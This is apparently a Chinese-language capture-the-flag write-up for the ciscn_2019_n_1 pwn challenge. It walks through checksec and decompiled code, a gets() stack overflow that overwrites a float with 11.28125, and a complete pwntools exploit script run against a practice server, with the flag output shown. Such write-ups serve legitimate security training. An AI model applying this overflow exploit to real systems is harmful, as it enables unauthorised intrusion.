我要学pwn.day4

ciscn_2019_n_1

潜心修炼，从基础开始

这是一道简单的栈溢出覆盖变量

---

解题流程

1.查看文件

$ file ciscn_2019_n_1
ciscn_2019_n_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8a733f5404b1e2c65e1758c7d92821eb8490f7c5, not stripped

2.查看保护

$ checksec ciscn_2019_n_1
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_n1/ciscn_2019_n_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开启了NX保护

NX保护即数据不可执行

3.IDA反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}

main函数中没有问题，继续查看func（）

int func()
{
  int result; // eax
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}

发现目标函数system(“cat /flag”)，同时存在危险函数gets

利用方法：利用v1进行栈溢出，覆盖变量v2的值，使之等于11.28125，则程序执行cat /flag

4.查看溢出长度

v1的位置是0x30,v2的位置是0x4,0x30-0x4计算出偏移，填充藏数据，在v2位置填充目标数据

这里需要注意的是需要将11.28125已Ieee-754标准转换位16进制，才能利用

这里给一个在线转换网址：https://www.h-schmidt.net/FloatConverter/IEEE754.html

5.编写EXP

# -*- coding:utf-8 -*-
#! /usr/bin/env python

from pwn import *


context(os="linux", arch="amd64")
# context.log_level="debug"

local = 0
elf = ELF('./ciscn_2019_n_1')

if local:
    pro = process('./ciscn_2019_n_1')
else:
    pro = remote('node4.buuoj.cn', 29925)


def get_shell():
    v2 = 0x41348000
    paylen = 0x30-0x4
    payload = b"A"*paylen+p64(v2)

    pro.sendlineafter('number.\n',payload)
    flag = pro.recvline()
    print(flag)


if __name__ == '__main__':
    get_shell()

因为溢出后执行的是cat /flag，所以不用交互，故使用recvline进行读取。

6.获得flag

$ python ciscn_2019_n_1Exp.py 
[*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_n1/ciscn_2019_n_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to node4.buuoj.cn on port 29925: Done
flag{0893d84d-1388-4aaa-b65b-cc8b5fe0b69d}

[*] Closed connection to node4.buuoj.cn port 29925

打完收工